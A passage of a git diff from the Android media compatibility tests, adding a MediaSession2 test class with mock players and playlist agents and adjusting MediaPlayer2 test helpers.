+ if (what == MediaPlayer2.MEDIA_INFO_VIDEO_RENDERING_START) {
+ mOnVideoRenderingStartCalled.signal();
+ } else if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+ mOnPrepareCalled.signal();
+ }
+ }
+
+ @Override
+ public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd,
+ int what, int status) {
+ if (what == MediaPlayer2.CALL_COMPLETED_PLAY) {
+ mOnPlayCalled.signal();
+ }
+ }
+ });
+ }
+ try {
+ mOnPrepareCalled.reset();
+ mPlayer.prepare();
+ mOnPrepareCalled.waitForSignal();
+ } catch (Exception e) {
+ mPlayer.reset();
+ throw new PrepareFailedException();
+ }
+
+ mOnPlayCalled.reset();
+ mPlayer.play();
+ mOnPlayCalled.waitForSignal();
+ if (!audioOnly) {
+ mOnVideoSizeChangedCalled.waitForSignal();
+ mOnVideoRenderingStartCalled.waitForSignal();
+ }
+ mPlayer.setPlayerVolume(volume);
+
+ // waiting to complete
+ if (playTime == -1) {
+ return;
+ } else if (playTime == 0) {
+ while (mPlayer.isPlaying()) {
+ Thread.sleep(SLEEP_TIME);
+ }
+ } else {
+ Thread.sleep(playTime);
+ }
+
+ // validate a few MediaMetrics.
+ PersistableBundle metrics = mPlayer.getMetrics();
+ if (metrics == null) {
+ fail("MediaPlayer2.getMetrics() returned null metrics");
+ } else if (metrics.isEmpty()) {
+ fail("MediaPlayer2.getMetrics() returned empty metrics");
+ } else {
+
+ int size = metrics.size();
+ Set<String> keys = metrics.keySet();
+
+ if (keys == null) {
+ fail("MediaMetricsSet returned no keys");
+ } else if (keys.size() != size) {
+ fail("MediaMetricsSet.keys().size() mismatch MediaMetricsSet.size()");
+ }
+
+ // we played something; so one of these should be non-null
+ String vmime = metrics.getString(MediaPlayer2.MetricsConstants.MIME_TYPE_VIDEO, null);
+ String amime = metrics.getString(MediaPlayer2.MetricsConstants.MIME_TYPE_AUDIO, null);
+ if (vmime == null && amime == null) {
+ fail("getMetrics() returned neither video nor audio mime value");
+ }
+
+ long duration = metrics.getLong(MediaPlayer2.MetricsConstants.DURATION, -2);
+ if (duration == -2) {
+ fail("getMetrics() didn't return a duration");
+ }
+ long playing = metrics.getLong(MediaPlayer2.MetricsConstants.PLAYING, -2);
+ if (playing == -2) {
+ fail("getMetrics() didn't return a playing time");
+ }
+ if (!keys.contains(MediaPlayer2.MetricsConstants.PLAYING)) {
+ fail("MediaMetricsSet.keys() missing: " + MediaPlayer2.MetricsConstants.PLAYING);
+ }
+ }
+
+ mPlayer.stop();
+ }
+
+ private static class PrepareFailedException extends Exception {}
+
+ public boolean isTv() {
+ PackageManager pm = getInstrumentation().getTargetContext().getPackageManager();
+ return pm.hasSystemFeature(pm.FEATURE_TELEVISION)
+ && pm.hasSystemFeature(pm.FEATURE_LEANBACK);
+ }
+
+ public boolean checkTv() {
+ return MediaUtils.check(isTv(), "not a TV");
+ }
+
+ protected void setOnErrorListener() {
+ synchronized (mEventCbLock) {
+ mEventCallbacks.add(new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onError(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ mOnErrorCalled.signal();
+ }
+ });
+ }
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java b/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
index f01665a..91a6acf 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
@@ -183,12 +183,6 @@
playVideoWithRetries(uri, headers, cookies, null /* width */, null /* height */, playTime);
}
- protected void playLiveAudioOnlyTest(
- Uri uri, Map<String, String> headers, List<HttpCookie> cookies,
- int playTime) throws Exception {
- playVideoWithRetries(uri, headers, cookies, -1 /* width */, -1 /* height */, playTime);
- }
-
protected void playVideoWithRetries(
Uri uri, Map<String, String> headers, List<HttpCookie> cookies,
Integer width, Integer height, int playTime) throws Exception {
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2Test.java b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
new file mode 100644
index 0000000..99dc720
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
@@ -0,0 +1,877 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static android.media.AudioAttributes.CONTENT_TYPE_MUSIC;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.media.AudioAttributes;
+import android.media.AudioManager;
+import android.media.MediaController2;
+import android.media.MediaController2.ControllerCallback;
+import android.media.MediaController2.PlaybackInfo;
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.MediaPlayerBase;
+import android.media.MediaPlaylistAgent;
+import android.media.MediaSession2;
+import android.media.MediaSession2.Builder;
+import android.media.MediaSession2.CommandButton;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.MediaSession2.SessionCallback;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.media.VolumeProvider2;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.ResultReceiver;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.annotation.NonNull;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import junit.framework.Assert;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests {@link MediaSession2}.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaSession2Test extends MediaSession2TestBase {
+ private static final String TAG = "MediaSession2Test";
+
+ private MediaSession2 mSession;
+ private MockPlayer mPlayer;
+ private MockPlaylistAgent mMockAgent;
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ mPlayer = new MockPlayer(0);
+ mMockAgent = new MockPlaylistAgent();
+ mSession = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setPlaylistAgent(mMockAgent)
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+ @Override
+ public SessionCommandGroup2 onConnect(MediaSession2 session,
+ ControllerInfo controller) {
+ if (Process.myUid() == controller.getUid()) {
+ return super.onConnect(session, controller);
+ }
+ return null;
+ }
+ }).build();
+ }
+
+ @After
+ @Override
+ public void cleanUp() throws Exception {
+ super.cleanUp();
+ mSession.close();
+ }
+
+ @Ignore
+ @Test
+ public void testBuilder() {
+ try {
+ MediaSession2.Builder builder = new Builder(mContext);
+ fail("null player shouldn't be allowed");
+ } catch (IllegalArgumentException e) {
+ // expected. pass-through
+ }
+ MediaSession2.Builder builder = new Builder(mContext).setPlayer(mPlayer);
+ try {
+ builder.setId(null);
+ fail("null id shouldn't be allowed");
+ } catch (IllegalArgumentException e) {
+ // expected. pass-through
+ }
+ }
+
+ @Test
+ public void testPlayerStateChange() throws Exception {
+ final int targetState = MediaPlayerBase.PLAYER_STATE_PLAYING;
+ final CountDownLatch latchForSessionCallback = new CountDownLatch(1);
+ sHandler.postAndSync(() -> {
+ mSession.close();
+ mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+ @Override
+ public void onPlayerStateChanged(MediaSession2 session,
+ MediaPlayerBase player, int state) {
+ assertEquals(targetState, state);
+ latchForSessionCallback.countDown();
+ }
+ }).build();
+ });
+
+ final CountDownLatch latchForControllerCallback = new CountDownLatch(1);
+ final MediaController2 controller =
+ createController(mSession.getToken(), true, new ControllerCallback() {
+ @Override
+ public void onPlayerStateChanged(MediaController2 controllerOut, int state) {
+ assertEquals(targetState, state);
+ latchForControllerCallback.countDown();
+ }
+ });
+
+ mPlayer.notifyPlaybackState(MediaPlayerBase.PLAYER_STATE_PLAYING);
+ assertTrue(latchForSessionCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertTrue(latchForControllerCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertEquals(targetState, controller.getPlayerState());
+ }
+
+ @Test
+ public void testCurrentDataSourceChanged() throws Exception {
+ final int listSize = 5;
+ final List<MediaItem2> list = TestUtils.createPlaylist(listSize);
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public List<MediaItem2> getPlaylist() {
+ return list;
+ }
+ };
+
+ MediaItem2 currentItem = list.get(3);
+
+ final CountDownLatch latchForSessionCallback = new CountDownLatch(1);
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setPlaylistAgent(agent)
+ .setId("testCurrentDataSourceChanged")
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+ @Override
+ public void onCurrentMediaItemChanged(MediaSession2 session,
+ MediaPlayerBase player, MediaItem2 itemOut) {
+ assertSame(currentItem, itemOut);
+ latchForSessionCallback.countDown();
+ }
+ }).build()) {
+
+ mPlayer.notifyCurrentDataSourceChanged(currentItem.getDataSourceDesc());
+ assertTrue(latchForSessionCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ // TODO (jaewan): Test that controllers are also notified. (b/74505936)
+ }
+ }
+
+ @Test
+ public void testMediaPrepared() throws Exception {
+ final int listSize = 5;
+ final List<MediaItem2> list = TestUtils.createPlaylist(listSize);
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public List<MediaItem2> getPlaylist() {
+ return list;
+ }
+ };
+
+ MediaItem2 currentItem = list.get(3);
+
+ final CountDownLatch latchForSessionCallback = new CountDownLatch(1);
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setPlaylistAgent(agent)
+ .setId("testMediaPrepared")
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+ @Override
+ public void onMediaPrepared(MediaSession2 session, MediaPlayerBase player,
+ MediaItem2 itemOut) {
+ assertSame(currentItem, itemOut);
+ latchForSessionCallback.countDown();
+ }
+ }).build()) {
+
+ mPlayer.notifyMediaPrepared(currentItem.getDataSourceDesc());
+ assertTrue(latchForSessionCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ // TODO (jaewan): Test that controllers are also notified. (b/74505936)
+ }
+ }
+
+ @Test
+ public void testBufferingStateChanged() throws Exception {
+ final int listSize = 5;
+ final List<MediaItem2> list = TestUtils.createPlaylist(listSize);
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public List<MediaItem2> getPlaylist() {
+ return list;
+ }
+ };
+
+ MediaItem2 currentItem = list.get(3);
+ final int buffState = MediaPlayerBase.BUFFERING_STATE_BUFFERING_COMPLETE;
+
+ final CountDownLatch latchForSessionCallback = new CountDownLatch(1);
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setPlaylistAgent(agent)
+ .setId("testBufferingStateChanged")
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+ @Override
+ public void onBufferingStateChanged(MediaSession2 session,
+ MediaPlayerBase player, MediaItem2 itemOut, int stateOut) {
+ assertSame(currentItem, itemOut);
+ assertEquals(buffState, stateOut);
+ latchForSessionCallback.countDown();
+ }
+ }).build()) {
+
+ mPlayer.notifyBufferingStateChanged(currentItem.getDataSourceDesc(), buffState);
+ assertTrue(latchForSessionCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ // TODO (jaewan): Test that controllers are also notified. (b/74505936)
+ }
+ }
+
+ @Test
+ public void testUpdatePlayer() throws Exception {
+ final int targetState = MediaPlayerBase.PLAYER_STATE_PLAYING;
+ final CountDownLatch latch = new CountDownLatch(1);
+ sHandler.postAndSync(() -> {
+ mSession.close();
+ mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+ @Override
+ public void onPlayerStateChanged(MediaSession2 session,
+ MediaPlayerBase player, int state) {
+ assertEquals(targetState, state);
+ latch.countDown();
+ }
+ }).build();
+ });
+
+ MockPlayer player = new MockPlayer(0);
+
+ // Test if setPlayer doesn't crash with various situations.
+ mSession.updatePlayer(mPlayer, null, null);
+ assertEquals(mPlayer, mSession.getPlayer());
+ MediaPlaylistAgent agent = mSession.getPlaylistAgent();
+ assertNotNull(agent);
+
+ mSession.updatePlayer(player, null, null);
+ assertEquals(player, mSession.getPlayer());
+ assertNotNull(mSession.getPlaylistAgent());
+ assertNotEquals(agent, mSession.getPlaylistAgent());
+
+ player.notifyPlaybackState(MediaPlayerBase.PLAYER_STATE_PLAYING);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testSetPlayer_playbackInfo() throws Exception {
+ MockPlayer player = new MockPlayer(0);
+ AudioAttributes attrs = new AudioAttributes.Builder()
+ .setContentType(CONTENT_TYPE_MUSIC)
+ .build();
+ player.setAudioAttributes(attrs);
+
+ final int maxVolume = 100;
+ final int currentVolume = 23;
+ final int volumeControlType = VolumeProvider2.VOLUME_CONTROL_ABSOLUTE;
+ VolumeProvider2 volumeProvider =
+ new VolumeProvider2(volumeControlType, maxVolume, currentVolume) { };
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onPlaybackInfoChanged(MediaController2 controller,
+ PlaybackInfo info) {
+ Assert.assertEquals(PlaybackInfo.PLAYBACK_TYPE_REMOTE, info.getPlaybackType());
+ assertEquals(attrs, info.getAudioAttributes());
+ assertEquals(volumeControlType, info.getPlaybackType());
+ assertEquals(maxVolume, info.getMaxVolume());
+ assertEquals(currentVolume, info.getCurrentVolume());
+ latch.countDown();
+ }
+ };
+
+ mSession.updatePlayer(player, null, null);
+
+ final MediaController2 controller = createController(mSession.getToken(), true, callback);
+ PlaybackInfo info = controller.getPlaybackInfo();
+ assertNotNull(info);
+ assertEquals(PlaybackInfo.PLAYBACK_TYPE_LOCAL, info.getPlaybackType());
+ assertEquals(attrs, info.getAudioAttributes());
+ AudioManager manager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+ int localVolumeControlType = manager.isVolumeFixed()
+ ? VolumeProvider2.VOLUME_CONTROL_FIXED : VolumeProvider2.VOLUME_CONTROL_ABSOLUTE;
+ assertEquals(localVolumeControlType, info.getControlType());
+ assertEquals(manager.getStreamMaxVolume(AudioManager.STREAM_MUSIC), info.getMaxVolume());
+ assertEquals(manager.getStreamVolume(AudioManager.STREAM_MUSIC), info.getCurrentVolume());
+
+ mSession.updatePlayer(player, null, volumeProvider);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+
+ info = controller.getPlaybackInfo();
+ assertNotNull(info);
+ assertEquals(PlaybackInfo.PLAYBACK_TYPE_REMOTE, info.getPlaybackType());
+ assertEquals(attrs, info.getAudioAttributes());
+ assertEquals(volumeControlType, info.getControlType());
+ assertEquals(maxVolume, info.getMaxVolume());
+ assertEquals(currentVolume, info.getCurrentVolume());
+ }
+
+ @Test
+ public void testPlay() throws Exception {
+ sHandler.postAndSync(() -> {
+ mSession.play();
+ assertTrue(mPlayer.mPlayCalled);
+ });
+ }
+
+ @Test
+ public void testPause() throws Exception {
+ sHandler.postAndSync(() -> {
+ mSession.pause();
+ assertTrue(mPlayer.mPauseCalled);
+ });
+ }
+
+ @Ignore
+ @Test
+ public void testStop() throws Exception {
+ sHandler.postAndSync(() -> {
+ mSession.stop();
+ assertTrue(mPlayer.mStopCalled);
+ });
+ }
+
+ @Test
+ public void testSkipToPreviousItem() {
+ mSession.skipToPreviousItem();
+ assertTrue(mMockAgent.mSkipToPreviousItemCalled);
+ }
+
+ @Test
+ public void testSkipToNextItem() throws Exception {
+ mSession.skipToNextItem();
+ assertTrue(mMockAgent.mSkipToNextItemCalled);
+ }
+
+ @Test
+ public void testSkipToPlaylistItem() throws Exception {
+ final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+ mSession.skipToPlaylistItem(testMediaItem);
+ assertTrue(mMockAgent.mSkipToPlaylistItemCalled);
+ assertSame(testMediaItem, mMockAgent.mItem);
+ }
+
+ @Test
+ public void testGetPlayerState() {
+ final int state = MediaPlayerBase.PLAYER_STATE_PLAYING;
+ mPlayer.mLastPlayerState = state;
+ assertEquals(state, mSession.getPlayerState());
+ }
+
+ @Test
+ public void testGetPosition() {
+ final long position = 150000;
+ mPlayer.mCurrentPosition = position;
+ assertEquals(position, mSession.getCurrentPosition());
+ }
+
+ @Test
+ public void testGetBufferedPosition() {
+ final long bufferedPosition = 900000;
+ mPlayer.mBufferedPosition = bufferedPosition;
+ assertEquals(bufferedPosition, mSession.getBufferedPosition());
+ }
+
+ @Test
+ public void testSetPlaylist() {
+ final List<MediaItem2> list = TestUtils.createPlaylist(2);
+ mSession.setPlaylist(list, null);
+ assertTrue(mMockAgent.mSetPlaylistCalled);
+ assertSame(list, mMockAgent.mPlaylist);
+ assertNull(mMockAgent.mMetadata);
+ }
+
+ @Test
+ public void testGetPlaylist() {
+ final List<MediaItem2> list = TestUtils.createPlaylist(2);
+ mMockAgent.mPlaylist = list;
+ assertEquals(list, mSession.getPlaylist());
+ }
+
+ @Test
+ public void testUpdatePlaylistMetadata() {
+ final MediaMetadata2 testMetadata = TestUtils.createMetadata();
+ mSession.updatePlaylistMetadata(testMetadata);
+ assertTrue(mMockAgent.mUpdatePlaylistMetadataCalled);
+ assertSame(testMetadata, mMockAgent.mMetadata);
+ }
+
+ @Test
+ public void testGetPlaylistMetadata() {
+ final MediaMetadata2 testMetadata = TestUtils.createMetadata();
+ mMockAgent.mMetadata = testMetadata;
+ assertEquals(testMetadata, mSession.getPlaylistMetadata());
+ }
+
+ @Test
+ public void testSessionCallback_onPlaylistChanged() throws InterruptedException {
+ final List<MediaItem2> list = TestUtils.createPlaylist(2);
+ final CountDownLatch latch = new CountDownLatch(1);
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public List<MediaItem2> getPlaylist() {
+ return list;
+ }
+ };
+ final SessionCallback sessionCallback = new SessionCallback() {
+ @Override
+ public void onPlaylistChanged(MediaSession2 session, MediaPlaylistAgent playlistAgent,
+ List<MediaItem2> playlist, MediaMetadata2 metadata) {
+ assertEquals(agent, playlistAgent);
+ assertEquals(list, playlist);
+ assertNull(metadata);
+ latch.countDown();
+ }
+ };
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setPlaylistAgent(agent)
+ .setId("testSessionCallback")
+ .setSessionCallback(sHandlerExecutor, sessionCallback)
+ .build()) {
+ agent.notifyPlaylistChanged();
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testAddPlaylistItem() {
+ final int testIndex = 12;
+ final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+ mSession.addPlaylistItem(testIndex, testMediaItem);
+ assertTrue(mMockAgent.mAddPlaylistItemCalled);
+ assertEquals(testIndex, mMockAgent.mIndex);
+ assertSame(testMediaItem, mMockAgent.mItem);
+ }
+
+ @Test
+ public void testRemovePlaylistItem() {
+ final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+ mSession.removePlaylistItem(testMediaItem);
+ assertTrue(mMockAgent.mRemovePlaylistItemCalled);
+ assertSame(testMediaItem, mMockAgent.mItem);
+ }
+
+ @Test
+ public void testReplacePlaylistItem() throws InterruptedException {
+ final int testIndex = 12;
+ final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+ mSession.replacePlaylistItem(testIndex, testMediaItem);
+ assertTrue(mMockAgent.mReplacePlaylistItemCalled);
+ assertEquals(testIndex, mMockAgent.mIndex);
+ assertSame(testMediaItem, mMockAgent.mItem);
+ }
+
+ /**
+ * This also tests {@link SessionCallback#onShuffleModeChanged(
+ * MediaSession2, MediaPlaylistAgent, int)}
+ */
+ @Test
+ public void testGetShuffleMode() throws InterruptedException {
+ final int testShuffleMode = MediaPlaylistAgent.SHUFFLE_MODE_GROUP;
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public int getShuffleMode() {
+ return testShuffleMode;
+ }
+ };
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback sessionCallback = new SessionCallback() {
+ @Override
+ public void onShuffleModeChanged(MediaSession2 session,
+ MediaPlaylistAgent playlistAgent, int shuffleMode) {
+ assertEquals(agent, playlistAgent);
+ assertEquals(testShuffleMode, shuffleMode);
+ latch.countDown();
+ }
+ };
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setPlaylistAgent(agent)
+ .setId("testGetShuffleMode")
+ .setSessionCallback(sHandlerExecutor, sessionCallback)
+ .build()) {
+ agent.notifyShuffleModeChanged();
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testSetShuffleMode() {
+ final int testShuffleMode = MediaPlaylistAgent.SHUFFLE_MODE_GROUP;
+ mSession.setShuffleMode(testShuffleMode);
+ assertTrue(mMockAgent.mSetShuffleModeCalled);
+ assertEquals(testShuffleMode, mMockAgent.mShuffleMode);
+ }
+
+ /**
+ * This also tests {@link SessionCallback#onShuffleModeChanged(
+ * MediaSession2, MediaPlaylistAgent, int)}
+ */
+ @Test
+ public void testGetRepeatMode() throws InterruptedException {
+ final int testRepeatMode = MediaPlaylistAgent.REPEAT_MODE_GROUP;
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public int getRepeatMode() {
+ return testRepeatMode;
+ }
+ };
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback sessionCallback = new SessionCallback() {
+ @Override
+ public void onRepeatModeChanged(MediaSession2 session, MediaPlaylistAgent playlistAgent,
+ int repeatMode) {
+ assertEquals(agent, playlistAgent);
+ assertEquals(testRepeatMode, repeatMode);
+ latch.countDown();
+ }
+ };
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setPlaylistAgent(agent)
+ .setId("testGetRepeatMode")
+ .setSessionCallback(sHandlerExecutor, sessionCallback)
+ .build()) {
+ agent.notifyRepeatModeChanged();
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testSetRepeatMode() {
+ final int testRepeatMode = MediaPlaylistAgent.REPEAT_MODE_GROUP;
+ mSession.setRepeatMode(testRepeatMode);
+ assertTrue(mMockAgent.mSetRepeatModeCalled);
+ assertEquals(testRepeatMode, mMockAgent.mRepeatMode);
+ }
+
+ // TODO (jaewan): Revisit
+ @Test
+ public void testBadPlayer() throws InterruptedException {
+ // TODO(jaewan): Add equivalent tests again
+ final CountDownLatch latch = new CountDownLatch(4); // expected call + 1
+ final BadPlayer player = new BadPlayer(0);
+
+ mSession.updatePlayer(player, null, null);
+ mSession.updatePlayer(mPlayer, null, null);
+ player.notifyPlaybackState(MediaPlayerBase.PLAYER_STATE_PAUSED);
+ assertFalse(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ // This bad player will keep push events to the listener that is previously
+ // registered by session.setPlayer().
+ private static class BadPlayer extends MockPlayer {
+ public BadPlayer(int count) {
+ super(count);
+ }
+
+ @Override
+ public void unregisterPlayerEventCallback(
+ @NonNull MediaPlayerBase.PlayerEventCallback listener) {
+ // No-op.
+ }
+ }
+
+ @Test
+ public void testOnCommandCallback() throws InterruptedException {
+ final MockOnCommandCallback callback = new MockOnCommandCallback();
+ sHandler.postAndSync(() -> {
+ mSession.close();
+ mPlayer = new MockPlayer(1);
+ mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, callback).build();
+ });
+ MediaController2 controller = createController(mSession.getToken());
+ controller.pause();
+ assertFalse(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertFalse(mPlayer.mPauseCalled);
+ assertEquals(1, callback.commands.size());
+ assertEquals(SessionCommand2.COMMAND_CODE_PLAYBACK_PAUSE,
+ (long) callback.commands.get(0).getCommandCode());
+
+ controller.play();
+ assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mPlayer.mPlayCalled);
+ assertFalse(mPlayer.mPauseCalled);
+ assertEquals(2, callback.commands.size());
+ assertEquals(SessionCommand2.COMMAND_CODE_PLAYBACK_PLAY,
+ (long) callback.commands.get(1).getCommandCode());
+ }
+
+ @Test
+ public void testOnConnectCallback() throws InterruptedException {
+ final MockOnConnectCallback sessionCallback = new MockOnConnectCallback();
+ sHandler.postAndSync(() -> {
+ mSession.close();
+ mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, sessionCallback).build();
+ });
+ MediaController2 controller = createController(mSession.getToken(), false, null);
+ assertNotNull(controller);
+ waitForConnect(controller, false);
+ waitForDisconnect(controller, true);
+ }
+
+ @Test
+ public void testOnDisconnectCallback() throws InterruptedException {
+ final CountDownLatch latch = new CountDownLatch(1);
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setId("testOnDisconnectCallback")
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+ @Override
+ public void onDisconnected(MediaSession2 session,
+ ControllerInfo controller) {
+ assertEquals(Process.myUid(), controller.getUid());
+ latch.countDown();
+ }
+ }).build()) {
+ MediaController2 controller = createController(session.getToken());
+ controller.close();
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testSetCustomLayout() throws InterruptedException {
+ final List<CommandButton> buttons = new ArrayList<>();
+ buttons.add(new CommandButton.Builder()
+ .setCommand(new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_PLAY))
+ .setDisplayName("button").build());
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback sessionCallback = new SessionCallback() {
+ @Override
+ public SessionCommandGroup2 onConnect(MediaSession2 session,
+ ControllerInfo controller) {
+ if (mContext.getPackageName().equals(controller.getPackageName())) {
+ mSession.setCustomLayout(controller, buttons);
+ }
+ return super.onConnect(session, controller);
+ }
+ };
+
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setId("testSetCustomLayout")
+ .setSessionCallback(sHandlerExecutor, sessionCallback)
+ .build()) {
+ if (mSession != null) {
+ mSession.close();
+ mSession = session;
+ }
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onCustomLayoutChanged(MediaController2 controller2,
+ List<CommandButton> layout) {
+ assertEquals(layout.size(), buttons.size());
+ for (int i = 0; i < layout.size(); i++) {
+ assertEquals(layout.get(i).getCommand(), buttons.get(i).getCommand());
+ assertEquals(layout.get(i).getDisplayName(),
+ buttons.get(i).getDisplayName());
+ }
+ latch.countDown();
+ }
+ };
+ final MediaController2 controller =
+ createController(session.getToken(), true, callback);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testSetAllowedCommands() throws InterruptedException {
+ final SessionCommandGroup2 commands = new SessionCommandGroup2();
+ commands.addCommand(new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_PLAY));
+ commands.addCommand(new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_PAUSE));
+ commands.addCommand(new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_STOP));
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onAllowedCommandsChanged(MediaController2 controller,
+ SessionCommandGroup2 commandsOut) {
+ assertNotNull(commandsOut);
+ Set<SessionCommand2> expected = commands.getCommands();
+ Set<SessionCommand2> actual = commandsOut.getCommands();
+
+ assertNotNull(actual);
+ assertEquals(expected.size(), actual.size());
+ for (SessionCommand2 command : expected) {
+ assertTrue(actual.contains(command));
+ }
+ latch.countDown();
+ }
+ };
+
+ final MediaController2 controller = createController(mSession.getToken(), true, callback);
+ ControllerInfo controllerInfo = getTestControllerInfo();
+ assertNotNull(controllerInfo);
+
+ mSession.setAllowedCommands(controllerInfo, commands);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testSendCustomAction() throws InterruptedException {
+ final SessionCommand2 testCommand = new SessionCommand2(
+ SessionCommand2.COMMAND_CODE_PLAYBACK_PREPARE);
+ final Bundle testArgs = new Bundle();
+ testArgs.putString("args", "testSendCustomAction");
+
+ final CountDownLatch latch = new CountDownLatch(2);
+ final ControllerCallback callback = new ControllerCallback() {
